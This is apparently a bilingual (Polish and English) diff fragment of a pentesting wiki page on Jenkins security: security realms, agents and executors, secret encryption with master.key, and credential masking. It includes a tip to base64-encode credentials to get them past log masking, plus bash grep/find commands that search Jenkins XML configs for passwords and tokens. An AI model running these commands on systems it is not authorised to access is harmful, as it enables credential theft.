- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
## **Królestwo bezpieczeństwa**
## **Security Realm**
W `/configureSecurity` można **skonfigurować królestwo bezpieczeństwa.** Domyślnie Jenkins zawiera wsparcie dla kilku różnych Królestw Bezpieczeństwa:
W `/configureSecurity` można **skonfigurować security realm.** Domyślnie Jenkins wspiera kilka różnych Security Realms:
- **Delegowanie do kontenera servletów**: Do **delegowania autoryzacji do kontenera servletów uruchamiającego kontroler Jenkins**, takiego jak [Jetty](https://www.eclipse.org/jetty/).
- **Własna baza danych użytkowników Jenkins:** Użyj **wbudowanej bazy danych użytkowników Jenkins** do autoryzacji zamiast delegować do zewnętrznego systemu. Jest to włączone domyślnie.
- **LDAP**: Deleguj całą autoryzację do skonfigurowanego serwera LDAP, w tym zarówno użytkowników, jak i grupy.
- **Baza danych użytkowników/grup Unix**: **Deleguje autoryzację do podstawowej bazy danych użytkowników Unix** na kontrolerze Jenkins. Ten tryb pozwoli również na ponowne wykorzystanie grup Unix do autoryzacji.
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
Wtyczki mogą zapewniać dodatkowe królestwa bezpieczeństwa, które mogą być przydatne do włączenia Jenkins w istniejące systemy tożsamości, takie jak:
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Węzły, agenci i wykonawcy Jenkins
## Jenkins Nodes, Agents & Executors
Definicje z [dokumentacji](https://www.jenkins.io/doc/book/managing/nodes/):
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
**Węzły** to **maszyny**, na których działają **agenci budowy**. Jenkins monitoruje każdy podłączony węzeł pod kątem miejsca na dysku, wolnego miejsca tymczasowego, wolnej pamięci swap, czasu zegara/synchronizacji i czasu odpowiedzi. Węzeł jest wyłączany, jeśli którakolwiek z tych wartości przekroczy skonfigurowany próg.
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
**Agenci** **zarządzają** **wykonywaniem zadań** w imieniu kontrolera Jenkins, **używając wykonawców**. Agent może używać dowolnego systemu operacyjnego, który obsługuje Javę. Narzędzia wymagane do budowy i testów są instalowane na węźle, na którym działa agent; mogą być **zainstalowane bezpośrednio lub w kontenerze** (Docker lub Kubernetes). Każdy **agent jest w rzeczywistości procesem z własnym PID** na maszynie gospodarza.
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
**Wykonawca** to **miejsce do wykonywania zadań**; w rzeczywistości jest to **wątek w agencie**. **Liczba wykonawców** na węźle definiuje liczbę **równoległych zadań**, które mogą być wykonywane na tym węźle w danym czasie. Innymi słowy, określa to **liczbę równoległych `stages` Pipeline**, które mogą być wykonywane na tym węźle w danym czasie.
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
## Sekrety Jenkins
### Szyfrowanie sekretów i poświadczeń
### Encryption of Secrets and Credentials
Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins używa **AES do szyfrowania i ochrony sekretów**, poświadczeń i ich odpowiednich kluczy szyfrujących. Te klucze szyfrujące są przechowywane w `$JENKINS_HOME/secrets/` wraz z kluczem głównym używanym do ochrony tych kluczy. Ten katalog powinien być skonfigurowany tak, aby tylko użytkownik systemu operacyjnego, na którym działa kontroler Jenkins, miał dostęp do odczytu i zapisu do tego katalogu (tj. wartość `chmod` wynosząca `0700` lub używając odpowiednich atrybutów plików). **Klucz główny** (czasami nazywany "kluczem szyfrującym" w kryptografii) jest **przechowywany \_w postaci niezaszyfrowanej\_** na systemie plików kontrolera Jenkins w **`$JENKINS_HOME/secrets/master.key`**, co nie chroni przed atakującymi mającymi bezpośredni dostęp do tego pliku. Większość użytkowników i deweloperów będzie używać tych kluczy szyfrujących pośrednio za pomocą API [Secret](https://javadoc.jenkins.io/byShortName/Secret) do szyfrowania ogólnych danych sekretów lub przez API poświadczeń. Dla ciekawskich kryptograficznie, Jenkins używa AES w trybie łańcucha bloków szyfrujących (CBC) z paddingiem PKCS#5 i losowymi IV do szyfrowania instancji [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), które są przechowywane w `$JENKINS_HOME/secrets/` z nazwą pliku odpowiadającą ich identyfikatorowi `CryptoConfidentialKey`. Typowe identyfikatory kluczy obejmują:
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
- `hudson.util.Secret`: używany do ogólnych sekretów;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: używany dla niektórych typów poświadczeń;
- `jenkins.model.Jenkins.crumbSalt`: używany przez [mechanizm ochrony CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); oraz
- `hudson.util.Secret`: used for generic secrets;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
### Dostęp do poświadczeń
Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`), które mogą być dostępne przez każdy skonfigurowany projekt, lub mogą być ograniczone do **konkretnych projektów** (`/job/<project-name>/configure`), a zatem dostępne tylko z konkretnego projektu.
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
Zgodnie z [**dokumentacją**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Poświadczenia, które są w zakresie, są udostępniane pipeline'owi bez ograniczeń. Aby **zapobiec przypadkowemu ujawnieniu w logu budowy**, poświadczenia są **ukrywane** przed regularnym wyjściem, więc wywołanie `env` (Linux) lub `set` (Windows), lub programy drukujące swoje środowisko lub parametry **nie ujawnią ich w logu budowy** użytkownikom, którzy w przeciwnym razie nie mieliby dostępu do poświadczeń.
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
**Dlatego, aby wyeksportować poświadczenia, atakujący musi na przykład zakodować je w base64.**
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
## Odnośniki
### Sekrety w konfiguracjach pluginów/zadań na dysku
Do not assume secrets are only in `credentials.xml`. Many plugins persist secrets in their **own global XML** under `$JENKINS_HOME/*.xml` or in per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, sometimes even in plaintext (UI masking does not guarantee encrypted storage). If you gain filesystem read access, enumerate those XMLs and search for obvious secret tags.
```bash
# Global plugin configs
ls -l /var/lib/jenkins/*.xml
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
# Per-job configs
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
```
## Źródła
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -90,5 +101,6 @@ Zgodnie z [**dokumentacją**](https://www.jenkins.io/blog/2019/02/21/credentials
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
{{#include ../../banners/hacktricks-training.md}}